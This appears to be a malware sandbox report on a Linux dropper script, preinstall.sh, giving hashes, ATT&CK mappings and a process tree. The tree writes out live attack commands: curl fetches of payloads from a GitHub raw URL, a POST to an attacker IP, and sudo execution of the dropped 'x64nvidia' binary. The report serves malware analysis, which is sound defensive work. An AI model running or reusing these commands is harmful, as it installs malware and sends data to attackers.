247fdba5fbfd076d9c530d937406aa097d6794b9af26bfc64bf6ea765ed51a50

Analysis

max time kernel
5s
max time network
129s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20250619-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20250619-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
11/09/2025, 07:01

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
preinstall.sh
Size 404B
Sample250911-hthprshr5y
SHA256 247fdba5fbfd076d9c530d937406aa097d6794b9af26bfc64bf6ea765ed51a50
MD5 59d1152449a503665f552cba0455f02d
SHA1 7117c6f2d664947a961a38d289b3df42d3722252
SHA512 c30f75c0565325b1162c1173ef28eab10c3453bcc14c14acca91765b623f6634130b55148ab91d0ec3d611e4aa7e0f3e723eeaf7b0efc7888c1f5f0322f547be
MD5 SHA1 SHA512

Score

7^/10

defense_evasion discovery privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1510	chmod
1509	sudo

Executes dropped EXE 1 IoCs

ioc	pid	Process
/var/tmp/x64nvidia	1524	sudo

Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 1 IoCs

Abuse sudo or cached sudo credentials to execute code.

privilege_escalation defense_evasion

Sudo and Sudo Caching

T1548.003

pid	Process
1512	sudo

Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs

Web Service

T1102

flow	ioc
2	raw.githubusercontent.com
4	raw.githubusercontent.com
5	raw.githubusercontent.com
9	raw.githubusercontent.com
1	raw.githubusercontent.com

Reads runtime system information 21 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/fd	sudo
File opened for reading	/proc/self/stat	sudo
File opened for reading	/proc/self/fd	sudo
File opened for reading	/proc/filesystems	sudo
File opened for reading	/proc/self/stat	sudo
File opened for reading	/proc/self/stat	sudo
File opened for reading	/proc/sys/kernel/ngroups_max	sudo
File opened for reading	/proc/filesystems	sudo
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	sudo
File opened for reading	/proc/filesystems	sudo
File opened for reading	/proc/sys/kernel/ngroups_max	sudo
File opened for reading	/proc/self/stat	sudo
File opened for reading	/proc/sys/kernel/ngroups_max	sudo
File opened for reading	/proc/sys/kernel/ngroups_max	sudo
File opened for reading	/proc/filesystems	sudo
File opened for reading	/proc/self/fd	sudo
File opened for reading	/proc/self/fd	sudo
File opened for reading	/proc/sys/kernel/ngroups_max	sudo
File opened for reading	/proc/self/fd	sudo
File opened for reading	/proc/self/stat	sudo

/tmp/preinstall.sh
/tmp/preinstall.sh
1⤵
PID:1498

/usr/local/sbin/bash
bash /tmp/preinstall.sh
1⤵
PID:1498

/usr/local/bin/bash
bash /tmp/preinstall.sh
1⤵
PID:1498

/usr/sbin/bash
bash /tmp/preinstall.sh
1⤵
PID:1498

/usr/bin/bash
bash /tmp/preinstall.sh
1⤵
PID:1498

/sbin/bash
bash /tmp/preinstall.sh
1⤵
PID:1498

/bin/bash
bash /tmp/preinstall.sh
1⤵
PID:1498
- /usr/bin/base64
  base64
  2⤵
  PID:1501
- /usr/bin/curl
  curl -sk -A 206 -o /var/tmp/downx64.sh https://raw.githubusercontent.com/RominaMabelRamirez/dify/refs/heads/bai/api/downx64.sh
  2⤵
  PID:1503
- /usr/bin/curl
  curl -X POST -H "Content-Type: text/plain" --data http://172.86.93.139:3000/pawr/
  2⤵
  PID:1502
- /usr/bin/sudo
  sudo -S chmod +x /var/tmp/downx64.sh
  2⤵
  - File and Directory Permissions Modification
  - Reads runtime system information
  PID:1509
- - /bin/chmod
    chmod +x /var/tmp/downx64.sh
    3⤵
    - File and Directory Permissions Modification
    PID:1510

/usr/bin/sudo
sudo -S sh /var/tmp/downx64.sh
1⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
- Reads runtime system information
PID:1512
- /bin/sh
  sh /var/tmp/downx64.sh
  2⤵
  PID:1513
- - /bin/mkdir
    mkdir -p /root/.n3
    3⤵
    - Reads runtime system information
    PID:1514
- - /usr/bin/curl
    curl -k -A 205 -o /var/tmp/x64nvidia https://raw.githubusercontent.com/RominaMabelRamirez/dify/refs/heads/bai/api/x64nvidia
    3⤵
    PID:1515
- - /usr/bin/sudo
    3⤵
    - Reads runtime system information
    PID:1519
  - - /bin/chmod
      4⤵
      PID:1520
- - /usr/bin/curl
    3⤵
    PID:1523
- - /usr/bin/sudo
    3⤵
    - Executes dropped EXE
    - Reads runtime system information
    PID:1522
  - - /var/tmp/x64nvidia
      4⤵
      PID:1524
  - - /bin/sh
      4⤵
      PID:1524
- - /usr/bin/sudo
    3⤵
    - Reads runtime system information
    PID:1528
  - - /bin/chmod
      4⤵
      PID:1529

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Sudo and Sudo Caching

T1548.003

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Sudo and Sudo Caching

T1548.003

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

payuniversal2

Path /root/.n3/payuniversal2
Size 7.3MB
SHA256 4fcb18c32b958cc4b2a7bc0f4c2e8b139ed10ca4122898d1f451a6b6e4970f80
MD5 3d6d61144b9a27b2822c33911c44916a
SHA1 41ea2c03495d380a15e61f15ac966cb591561941
SHA512 1ecd50763dab8c28a71242d30e5538d819f394e9c46e0d0722c23acb06be2daacbfea42edcb5d853daa935a8b02667118f10b9d3cb5a69628e76103cd4174ebc
SSDEEP 98304:7SjS3YH1jrnjqMNTgExfmUqMLbFVOiZVVC1oI+hBn7g4:mSarjTNTnmUtO6C1oHM4
MD5 SHA1 SHA512 SSDEEP

Submit Download

downx64.sh

Path /var/tmp/downx64.sh
Size 779B
SHA256 65665c3faba4fbfed12488e945306b10131afb9d3ad928accdcef75e0945a086
MD5 349de8d66501b53a38beca5b331d98e5
SHA1 0660a175f9f155865489fd1b8cfd6d67c1bac4b7
SHA512 de83863cec6185b5d99604ca487223f917d79f9ccf1b57372fb20bdf2b31f36d54c6964d7878147907cbc23abbb4f83af6d727052e7ea5974d5e10373dd92bd9
MD5 SHA1 SHA512

Submit Download

x64nvidia

Path /var/tmp/x64nvidia
Size 88.3MB
SHA256 0a5218bd63c44586cd8ca32e97ba0bd647770cb9fd52a0f728418638a2cc794e
MD5 f32d6edc4e896e5b9bad3f37a675cd23
SHA1 68c0c79e78f2e460c5474ed22f90a5be8b208e2a
SHA512 81859fc95a4273d5de4a806d457ac8c8d32a01c52161f8103bb0b2c6b1f384e7f1771003add04a41f0926d5ab6a6b6701882eb875094ff9a2abc63239866ddb6
SSDEEP 393216:f0wFj1famZcIUWq3iV4S/afO47T29U0PNigPN5itNKGH/E3/ghIrCWoE9WL62ceZ:f0wFj1TZcjD3qX/1CWo
MD5 SHA1 SHA512 SSDEEP

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads